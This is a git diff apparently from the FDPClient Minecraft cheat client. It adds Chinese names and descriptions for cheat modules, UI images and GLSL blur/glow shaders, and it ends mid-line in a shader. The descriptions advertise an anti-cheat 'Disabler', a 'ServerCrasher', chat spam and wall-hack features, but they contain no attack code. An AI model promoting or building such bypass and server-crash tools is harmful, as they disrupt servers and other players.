+module.AutoAdvertise.name=自动广告 +module.AutoAdvertise.description=保持这个开启,我们需要你的帮助! + +module.AutoArmor.name=自动穿甲 +module.AutoArmor.description=自动穿戴盔甲 + +module.AutoBow.name=自动射箭 +module.AutoBow.description=当弓拉满时自动射箭 + +module.AutoClicker.name=连点器 +module.AutoClicker.description=当按下鼠标按键时自动点击 + +module.AutoDisable.name=自动关闭 +module.AutoDisable.description=自动在特定情况下关闭功能 + +module.AutoIgnore.name=自动屏蔽 +module.AutoIgnore.description=自动屏蔽刷屏(仅Redesky) + +module.AutoLogin.name=自动登录 +module.AutoLogin.description=自动帮你登入服务器 + +module.AutoPlay.name=自动游玩 +module.AutoPlay.description=在游戏结束时自动加入下一局 + +module.AutoPot.name=自动药水 +module.AutoPot.description=自动为你饮用或丢出药水 + +module.AutoReport.name=自动举报 +module.AutoReport.description=自动举报其他玩家 + +module.AutoSoup.name=自动喝汤 +module.AutoSoup.description=当生命值低时自动喝汤 + +module.AutoTool.name=自动工具 +module.AutoTool.description=自动选择最好的工具 + +module.AutoWeapon.name=自动武器 +module.AutoWeapon.description=自动选择快捷栏中最好的武器 + +module.BanChecker.name=封禁检测 + +module.BetterFPS.name=更好的FPS +module.BetterFPS.description=使数学计算更快 + +module.Blink.name=闪现 +module.Blink.description=暂停发包 + +module.BlockESP.name=方块透视 +module.BlockESP.description=允许透视看见指定的方块 + +module.BlockOverlay.name=方块边框 +module.BlockOverlay.description=更换原版方块边框设计 + +module.BoatJump.name=船跳 +module.BoatJump.description=允许你使用船远跳 + +module.BowAimbot.name=弓箭自瞄 +module.BowAimbot.description=自动使你的弓瞄准目标 + +module.Breadcrumbs.name=足迹 +module.Breadcrumbs.description=在你身后留下足迹 + +module.CameraClip.name=相机穿墙 +module.CameraClip.description=在第三人称时不会受到墙壁的限制 + +module.CapeManager.name=披风管理 +module.CapeManager.description=管理你的披风 + +module.Chams.name=变色 +module.Chams.description=允许你隔墙看到目标 + +module.ChatBypass.name=聊天绕过 +module.ChatBypass.description=绕过聊天限制 + +module.ChatTranslator.name=聊天翻译 +module.ChatTranslator.description=自动将聊天翻译为你的语言 + +module.ChestAura.name=箱子光环 +module.ChestAura.description=自动开启你周围的箱子 + +module.ChestStealer.name=自动拿取 +module.ChestStealer.description=自动从箱子拿取物品 + +module.ClickGUI.name=设置界面 +module.ClickGUI.description=打开设置界面 + +module.Clip.name=瞬移 +module.Clip.description=允许你闪现过方块 + +module.Criticals.name=刀刀暴击 +module.Criticals.description=自动打出暴击伤害 + +module.DamageParticle.name=伤害粒子 +module.DamageParticle.description=允许你查看目标掉血 + +module.Disabler.name=禁用器 +module.Disabler.description=禁用反作弊 + +module.ESP.name=透视 +module.ESP.description=允许你隔墙透视目标 + +module.Eagle.name=自动蹲搭 +module.Eagle.description=让你在方块边缘自动蹲下 + +module.Glint.name=附魔效果 +module.Glint.description=更改附魔效果颜色 + +module.FakeDead.name=假死 + +module.FastBreak.name=快速挖掘 +module.FastBreak.description=让你更快地挖掘方块 + +module.FastPlace.name=快速放置 +module.FastPlace.description=让你更快地放置方块 + +module.FastUse.name=快速使用 +module.FastUse.description=让你更快地使用物品 + +module.Fly.name=飞行 +module.Fly.description=让你在生存模式下飞行 + +module.FreeCam.name=灵魂出窍 +module.FreeCam.description=让你移出你的身体 + +module.Freeze.name=冻结 +module.Freeze.description=让你卡在半空 + +module.Fucker.name=方块挖掘器 +module.Fucker.description=挖掘你身边的指定方块 + +module.Gapple.name=金苹果 +module.Gapple.description=自动吃金苹果 + +module.GhostHand.name=鬼手 +module.GhostHand.description=让你隔墙与交互方块 + +module.HUD.name=界面 +module.HUD.description=开关界面 + +module.HackerDetector.name=黑客检测 +module.HackerDetector.description=检测其他黑客(错误率较高) + +module.HealthWarn.name=低血量提示 +module.HealthWarn.description=在你低血量时弹出提示 + +module.HighJump.name=高跳 +module.HighJump.description=让你跳的更高 + +module.HitBox.name=碰撞箱 +module.HitBox.description=让目标实体的碰撞箱更大 + +module.HudDesigner.name=界面编辑器 +module.HudDesigner.description=打开界面编辑器 + +module.HurtCam.name=伤害动画 +module.HurtCam.description=改变伤害动画 + +module.InfiniteAura.name=百米大刀 +module.InfiniteAura.description=从远处攻击目标 + +module.InventoryCleaner.name=物品栏整理 +module.InventoryCleaner.description=自动扔掉物品栏中的垃圾并整理物品栏 + +module.InventoryMove.name=物品栏移动 +module.InventoryMove.description=让你能够在打开UI时行走 + +module.ItemESP.name=物品透视 +module.ItemESP.description=让你能够隔墙看见物品 + +module.KeyBindManager.name=按键绑定管理器 +module.KeyBindManager.description=打开按键绑定管理器 + +module.Kick.name=踢出 +module.Kick.description=让你能够把自己踢出服务器 + +module.KillAura.name=杀戮光环 +module.KillAura.description=自动攻击你身边的目标 + +module.LegitSpoof.name=普通玩家伪装 +module.LegitSpoof.description=伪装为普通玩家 + +module.LightningDetect.name=雷击检测 +module.LightningDetect.description=检测雷击位置 + +module.Jesus.name=水上行走 +module.Jesus.description=让你在液体上行走 + +module.LongJump.name=远跳 +module.LongJump.description=让你跳得更远 + +module.MessageSpam.name=消息刷屏 +module.MessageSpam.description=刷屏你发出的消息(仅Redesky) + +module.MurderDetector.name=杀手检测 +module.MurderDetector.description=在密室杀手游戏中检测杀手 + +module.MidClick.name=中键点击 +module.MidClick.description=让你通过中键把点击的玩家设为好友 + +module.NameProtect.name=名称保护 +module.NameProtect.description=客户端改变玩家名字 + +module.NameTags.name=名称标签 +module.NameTags.description=改变名称标签的样式让你能持续看到 + +module.NoBob.name=无视角摇晃 +module.NoBob.description=禁止视角摇晃效果 + +module.NoFOV.name=无视野变化 +module.NoFOV.description=禁止视野变化效果 + +module.NoFall.name=无掉落伤害 +module.NoFall.description=抵消你的掉落伤害 + +module.NoJumpDelay.name=无跳跃延时 +module.NoJumpDelay.description=移除跳跃延时 + +module.NoRotateSet.name=无视角重置 +module.NoRotateSet.description=防止服务器设置头部方向 + +module.NoSlow.name=无减速效果 +module.NoSlow.description=取消使用物品的减速 + +module.NoSlowBreak.name=挖掘不减速 +module.NoSlowBreak.description=防止挖掘被打断 + +module.NoWeb.name=无蜘蛛网减速 +module.NoWeb.description=防止你在蜘蛛网中减速 + +module.Parkour.name=跑酷辅助 +module.Parkour.description=自动在方块边界跳跃 + +module.Phase.name=穿墙 +module.Phase.description=让你能够在方块中行走 + +module.PingSpoof.name=虚假延迟 +module.PingSpoof.description=对服务器欺骗你的延迟 + +module.Plugins.name=插件列表 +module.Plugins.description=允许你查看服务器使用的插件列表 + +module.PointerESP.name=指针透视 +module.PointerESP.description=在准星边显示指针透视 + +module.PrevFallPos.name=预测摔落点 +module.PrevFallPos.description=让你提前知道玩家的掉落点 + +module.Projectiles.name=抛射物轨迹 +module.Projectiles.description=让你查看抛射物落点 + +module.Reach.name=长臂猿 +module.Reach.description=增加手的长度 + +module.Regen.name=快速回血 +module.Regen.description=大大提升你的回血速度 + +module.Rotations.name=转头 +module.Rotations.description=转头设置 + +module.SafeWalk.name=安全行走 +module.SafeWalk.description=像潜行一般防止你掉入虚空 + +module.Scaffold.name=自动搭路 +module.Scaffold.description=自动在你脚下放方块 + +module.ServerCrasher.name=崩服器 +module.ServerCrasher.description=让你能够使服务器崩溃 + +module.Spammer.name=自动刷屏 +module.Spammer.description=自动在聊天栏刷屏 + +module.Speed.name=速度 +module.Speed.description=让你移动更快 + +module.Sprint.name=自动疾跑 +module.Sprint.description=自动在移动时疾跑 + +module.Step.name=步伐 +module.Step.description=让你能够快速跨上方块 + +module.StorageESP.name=容器透视 +module.StorageESP.description=让你能够隔墙看见容器 + +module.Strafe.name=灵活动作 +module.Strafe.description=让你在半空中能够自由移动 + +module.SuperKnockback.name=超级击退 +module.SuperKnockback.description=增加你打出的击退 + +module.Target.name=目标 +module.Target.description=目标设置 + +module.TargetStrafe.name=目标移动 +module.TargetStrafe.description=自动让你绕着目标移动 + +module.Teams.name=队伍 +module.Teams.description=阻止杀戮光环攻击队友 + +module.Teleport.name=传送 +module.Teleport.description=让你能够传送 + +module.Timer.name=变速齿轮 +module.Timer.description=改变游戏速度 + +module.Modules.name=模块 +module.Modules.description=更改全局模块设置 + +module.Tracers.name=连线透视 +module.Tracers.description=绘制一条线到目标 + +module.TrueSight.name=反隐身 +module.TrueSight.description=让你能够看见隐身的实体和屏障方块 + +module.Velocity.name=反击退 +module.Velocity.description=更改你受到的击退 + +module.XRay.name=矿物透视 +module.XRay.description=允许你透视指定的方块/矿物 + +module.Crosshair.name=准星 +module.Crosshair.description=显示一个更好的准星 + +module.Damage.name=自伤 +module.Damage.description=允许你对自己造成伤害 + +module.ChinaHat.name=中国草帽 +module.ChinaHat.description=美丽的帽子 + +module.Skeletal.name=滑块 +module.Skeletal.description=像骨架一样的ESP + +module.Spider.name=蜘蛛的 +module.Spider.description=使你像蜘蛛一样移动 + +module.NoAchievements.name=节点成就 +module.NoAchievements.description=当您获得成就时禁用提醒 + + +module.HitEffect.name=击打特效 +module.HitEffect.description=在你攻击玩家的时候展示一个击打特效 + +module.SilentDisconnect.name=静默断连 +module.SilentDisconnect.description=当你与服务器断开连接时,不会显示GuiDisconnect + +module.Performance.name=业绩 +module.Performance.description=加快游戏速度 diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bbutton.png b/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bbutton.png new file mode 100644 index 0000000..1967326 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bbutton.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bhover.png b/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bhover.png new file mode 100644 index 0000000..3ba035c Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/buttons/bhover.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/hud.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/hud.png new file mode 100644 index 0000000..faf1f1b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/hud.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Client.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Client.png new file mode 100644 index 0000000..a4eb719 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Client.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Combat.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Combat.png new file mode 100644 index 0000000..680713a Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Combat.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Exploit.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Exploit.png new file mode 100644 index 0000000..e2cd359 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Exploit.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Info.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Info.png new file mode 100644 index 0000000..7e53d8f Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Info.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Misc.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Misc.png new file mode 100644 index 0000000..787c259 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Misc.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Movement.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Movement.png new file mode 100644 index 0000000..0f93d6b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Movement.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Player.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Player.png new file mode 100644 index 0000000..a91d289 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Player.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Render.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Render.png new file mode 100644 index 0000000..bcef1b2 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/Render.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/World.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/World.png new file mode 100644 index 0000000..86e3bae Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/World.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/disabled.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/disabled.png new file mode 100644 index 0000000..0ba5182 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/disabled.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/enabled.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/enabled.png new file mode 100644 index 0000000..22b3733 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/enabled.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/exit.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/exit.png new file mode 100644 index 0000000..e13b277 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/exit.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/off.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/off.png new file mode 100644 index 0000000..3e95f1d Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/off.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/on.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/on.png new file mode 100644 index 0000000..c18de69 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/light/on.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/back.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/back.png new file mode 100644 index 0000000..ecf9cef Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/back.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/brush.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/brush.png new file mode 100644 index 0000000..b18f3c3 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/brush.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/docs.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/docs.png new file mode 100644 index 0000000..5e24b46 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/docs.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/download.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/download.png new file mode 100644 index 0000000..e4ec798 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/download.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/error.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/error.png new file mode 100644 index 0000000..7baf75e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/error.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/expand.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/expand.png new file mode 100644 index 0000000..82269c9 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/expand.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/folder.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/folder.png new file mode 100644 index 0000000..6fbe17e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/folder.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/import.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/import.png new file mode 100644 index 0000000..dcc6e2e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/import.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/online.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/online.png new file mode 100644 index 0000000..a0e05e9 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/online.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/reload.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/reload.png new file mode 100644 index 0000000..7c3b6fb Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/reload.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/remove.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/remove.png new file mode 100644 index 0000000..2323c6a Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/remove.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/search.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/search.png new file mode 100644 index 0000000..15b08cf Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/new/search.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/slight/background.png b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/slight/background.png new file mode 100644 index 0000000..d67b933 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/clickgui/slight/background.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/1.png b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/1.png new file mode 100644 index 0000000..4446620 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/1.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/2.png b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/2.png new file mode 100644 index 0000000..57b7454 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/2.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/3.png b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/3.png new file mode 100644 index 0000000..977a984 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/3.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/up.png b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/up.png new file mode 100644 index 0000000..21a4131 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/up.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/win11.png b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/win11.png new file mode 100644 index 0000000..7b5b287 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/hotbar/win11.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/checkmark.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/checkmark.png new file mode 100644 index 0000000..e69de29 diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/error.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/error.png new file mode 100644 index 0000000..e69de29 diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/info.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/info.png new file mode 100644 index 0000000..e69de29 diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/warning.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/intellij/warning.png new file mode 100644 index 0000000..e69de29 diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/cross.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/cross.png new file mode 100644 index 0000000..7c22dbc Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/cross.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/info.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/info.png new file mode 100644 index 0000000..5d34901 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/info.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/tick.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/tick.png new file mode 100644 index 0000000..7e1a4b8 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/tick.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/warning.png b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/warning.png new file mode 100644 index 0000000..16060b2 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/notifications/icons/tenacity/warning.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottom.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottom.png new file mode 100644 index 0000000..18ffa07 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottom.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomleft.png new file mode 100644 index 0000000..388db9b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomright.png new file mode 100644 index 0000000..74507fd Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelbottomright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelleft.png new file mode 100644 index 0000000..347186e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelright.png new file mode 100644 index 0000000..3b04ebc Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpanelright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltop.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltop.png new file mode 100644 index 0000000..c4e1b14 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltop.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopleft.png new file mode 100644 index 0000000..051dd8a Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopright.png new file mode 100644 index 0000000..810d2ff Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowpaneltopright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowshadow.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowshadow.png new file mode 100644 index 0000000..3549aa5 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/glowshadow.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottom.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottom.png new file mode 100644 index 0000000..a7940fb Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottom.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomleft.png new file mode 100644 index 0000000..5a672c4 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomright.png new file mode 100644 index 0000000..1c691ee Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelbottomright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelleft.png new file mode 100644 index 0000000..c5cfafb Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelright.png new file mode 100644 index 0000000..b3d4a4b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/panelright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltop.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltop.png new file mode 100644 index 0000000..3c3e9f2 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltop.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopleft.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopleft.png new file mode 100644 index 0000000..c1c35ef Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopleft.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopright.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopright.png new file mode 100644 index 0000000..0525949 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/paneltopright.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/ui/shadow/shadow.png b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/shadow.png new file mode 100644 index 0000000..aca75ad Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/ui/shadow/shadow.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/wings/DragonWings.png b/src/main/resources/assets/minecraft/fdpclient/wings/DragonWings.png new file mode 100644 index 0000000..a820b05 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/wings/DragonWings.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/wings/NeonWings.png b/src/main/resources/assets/minecraft/fdpclient/wings/NeonWings.png new file mode 100644 index 0000000..3c639e6 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/wings/NeonWings.png differ diff --git a/src/main/resources/assets/minecraft/shaders/bloom.frag b/src/main/resources/assets/minecraft/shaders/bloom.frag new file mode 100644 index 0000000..2ee42a6 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/bloom.frag @@ -0,0 +1,20 @@ +#version 120 + +uniform sampler2D inTexture, textureToCheck; +uniform vec2 texelSize, direction; +uniform float radius; +uniform float weights[256]; + +#define offset texelSize * direction + +void main() { + if (direction.y > 0 && texture2D(textureToCheck, gl_TexCoord[0].st).a != 0.0) discard; + float blr = texture2D(inTexture, gl_TexCoord[0].st).a * weights[0]; + + for (float f = 1.0; f <= radius; f++) { + blr += texture2D(inTexture, gl_TexCoord[0].st + f * offset).a * (weights[int(abs(f))]); + blr += texture2D(inTexture, gl_TexCoord[0].st - f * offset).a * (weights[int(abs(f))]); + } + + gl_FragColor = vec4(0.0, 0.0, 0.0, blr); +} diff --git a/src/main/resources/assets/minecraft/shaders/gaussian.frag b/src/main/resources/assets/minecraft/shaders/gaussian.frag new file mode 100644 index 0000000..a0070b9 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/gaussian.frag @@ -0,0 +1,19 @@ +#version 120 + +uniform sampler2D textureIn; +uniform vec2 texelSize, direction; +uniform float radius; +uniform float weights[256]; + +#define offset texelSize * direction + +void main() { + vec3 blr = texture2D(textureIn, gl_TexCoord[0].st).rgb * weights[0]; + + for (float f = 1.0; f <= radius; f++) { + blr += texture2D(textureIn, gl_TexCoord[0].st + f * offset).rgb * (weights[int(abs(f))]); + blr += texture2D(textureIn, gl_TexCoord[0].st - f * offset).rgb * (weights[int(abs(f))]); + } + + gl_FragColor = vec4(blr, 1.0); +} diff --git a/src/main/resources/assets/minecraft/shaders/glow.frag b/src/main/resources/assets/minecraft/shaders/glow.frag new file mode 100644 index 0000000..820e101 --- /dev/null +++ b/src/main/resources/assets/minecraft/shaders/glow.frag @@ -0,0 +1,25 @@ +#version 120 + +uniform sampler2D textureIn, textureToCheck; +uniform vec2 texelSize, direction; +uniform vec3 color; +uniform bool avoidTexture; +uniform float exposure, radius; +uniform float weights[256]; + +#define offset direction * texelSize + +void main() { + if (direction.y == 1 && avoidTexture) { + if (texture2D(textureToCheck, gl_TexCoord[0].st).a != 0.0) discard; + } + + float innerAlpha = texture2D(textureIn, gl_TexCoord[0].st).a * weights[0]; + + for (float r = 1.0; r <= radius; r ++) { + innerAlpha += texture2D(textureIn, gl_TexCoord[0].st + offset * r).a * weights[int(r)]; + innerAlpha 